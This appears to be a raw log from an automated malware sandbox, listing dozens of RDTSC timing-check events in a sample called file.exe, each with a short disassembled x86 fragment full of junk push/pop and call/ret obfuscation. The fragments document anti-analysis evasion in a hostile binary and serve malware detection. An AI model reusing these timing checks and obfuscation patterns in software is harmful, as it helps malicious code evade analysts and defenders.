Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FDC9 second address: 114FDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB2844Ah 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jbe 00007F020CB2844Eh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FF2C second address: 114FF57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pushad 0x00000008 jmp 00007F020CB267F3h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FF57 second address: 114FF5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115058E second address: 1150596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150596 second address: 11505BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F020CB28446h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F020CB28456h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11505BB second address: 11505D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EFh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11505D4 second address: 11505E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11505E0 second address: 11505E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11505E6 second address: 1150624 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F020CB28446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F020CB2844Ch 0x00000012 jmp 00007F020CB2844Fh 0x00000017 popad 0x00000018 jmp 00007F020CB28452h 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115102E second address: 1151048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267F4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151048 second address: 1151072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB2844Dh 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jmp 00007F020CB28453h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151072 second address: 1151078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11511C3 second address: 11511F4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F020CB28446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F020CB2848Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007F020CB28446h 0x0000001a jmp 00007F020CB28457h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11511F4 second address: 11511FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11511FA second address: 1151206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155E8C second address: 1155E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155E90 second address: 1155E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155E96 second address: 1155E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156309 second address: 1156310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115541A second address: 1155420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11578EB second address: 11578F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11578F1 second address: 11578F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11578F9 second address: 1157906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F020CB28446h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157906 second address: 115790B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112394F second address: 1123953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D78B second address: 115D78F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D904 second address: 115D944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F020CB28446h 0x0000000a popad 0x0000000b jmp 00007F020CB28452h 0x00000010 jng 00007F020CB28448h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 jc 00007F020CB28446h 0x0000001f jmp 00007F020CB28452h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E1A9 second address: 115E1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E1AD second address: 115E1CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E291 second address: 115E2C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB267F8h 0x00000008 jbe 00007F020CB267E6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F020CB267EAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E2C5 second address: 115E2FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jne 00007F020CB2844Ch 0x00000012 pushad 0x00000013 jmp 00007F020CB2844Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E756 second address: 115E75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E864 second address: 115E868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E868 second address: 115E87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jl 00007F020CB267E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E87A second address: 115E882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EF1A second address: 115EF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EF1E second address: 115EF27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EF27 second address: 115EF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F020CB267E8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F0D3 second address: 115F0D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F0D8 second address: 115F0E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F020CB267E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F253 second address: 115F258 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F258 second address: 115F26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F020CB267E8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F26A second address: 115F26F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F331 second address: 115F337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F5FE second address: 115F602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F602 second address: 115F611 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160C30 second address: 1160C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161D65 second address: 1161D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116489F second address: 11648A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11648A4 second address: 11648AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F020CB267E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11648AE second address: 11648CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11648CF second address: 11648D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11625EB second address: 1162608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB28459h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169F34 second address: 1169F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 add bx, F745h 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D260Ah], ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F020CB267E8h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 movzx ebx, di 0x00000035 sub dword ptr [ebp+122D2B67h], ebx 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169F77 second address: 1169F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F020CB28450h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF05 second address: 116AF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F020CB267ECh 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF1D second address: 116AF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF21 second address: 116AFBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F020CB267E8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 jng 00007F020CB267ECh 0x00000028 or dword ptr [ebp+1247BF0Dh], ebx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F020CB267E8h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a mov edi, dword ptr [ebp+122D370Dh] 0x00000050 mov bl, 6Bh 0x00000052 push 00000000h 0x00000054 mov di, dx 0x00000057 xchg eax, esi 0x00000058 jns 00007F020CB267FBh 0x0000005e push eax 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F020CB267F8h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BF2C second address: 116BF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BF32 second address: 116BF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F04B second address: 116F055 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F020CB2844Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F055 second address: 116F0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F020CB267F1h 0x0000000c nop 0x0000000d jmp 00007F020CB267EFh 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 jc 00007F020CB267E6h 0x0000001e xchg eax, esi 0x0000001f jl 00007F020CB267F0h 0x00000025 jmp 00007F020CB267EAh 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F0A0 second address: 116F0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB2844Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B215 second address: 116B232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C179 second address: 116C17F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116D1A4 second address: 116D1A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B232 second address: 116B251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B251 second address: 116B25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F020CB267E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170096 second address: 11700A0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F020CB2844Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11700A0 second address: 1170124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F020CB267EBh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F020CB267E8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 movzx edi, ax 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F020CB267E8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov dword ptr [ebp+122D231Fh], eax 0x0000004c push 00000000h 0x0000004e or dword ptr [ebp+122D2B67h], esi 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 push ecx 0x00000057 jmp 00007F020CB267EBh 0x0000005c pop ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F020CB267F2h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170124 second address: 1170128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170128 second address: 117014B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F020CB267F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F020CB267E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117115C second address: 11711EB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F020CB28446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F020CB28448h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 call 00007F020CB28451h 0x0000002a call 00007F020CB2844Ah 0x0000002f jmp 00007F020CB2844Eh 0x00000034 pop ebx 0x00000035 pop ebx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F020CB28448h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Ch 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 push esi 0x00000055 mov dword ptr [ebp+1247D4C1h], edx 0x0000005b pop edi 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push ebx 0x00000062 pop ebx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11711EB second address: 11711F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117212B second address: 1172131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172131 second address: 1172135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172135 second address: 11721D3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007F020CB28454h 0x0000000f pushad 0x00000010 jng 00007F020CB28446h 0x00000016 jc 00007F020CB28446h 0x0000001c popad 0x0000001d nop 0x0000001e ja 00007F020CB2845Ah 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F020CB28448h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 clc 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ecx 0x00000046 call 00007F020CB28448h 0x0000004b pop ecx 0x0000004c mov dword ptr [esp+04h], ecx 0x00000050 add dword ptr [esp+04h], 00000019h 0x00000058 inc ecx 0x00000059 push ecx 0x0000005a ret 0x0000005b pop ecx 0x0000005c ret 0x0000005d xchg eax, esi 0x0000005e jno 00007F020CB28450h 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jc 00007F020CB28448h 0x0000006d push eax 0x0000006e pop eax 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11730CB second address: 1173145 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F020CB267E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F020CB267E8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007F020CB267E8h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 mov bh, cl 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F020CB267E8h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000018h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 mov ebx, dword ptr [ebp+12482F2Ch] 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c pop eax 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173145 second address: 1173149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175193 second address: 117519D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117519D second address: 11751A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
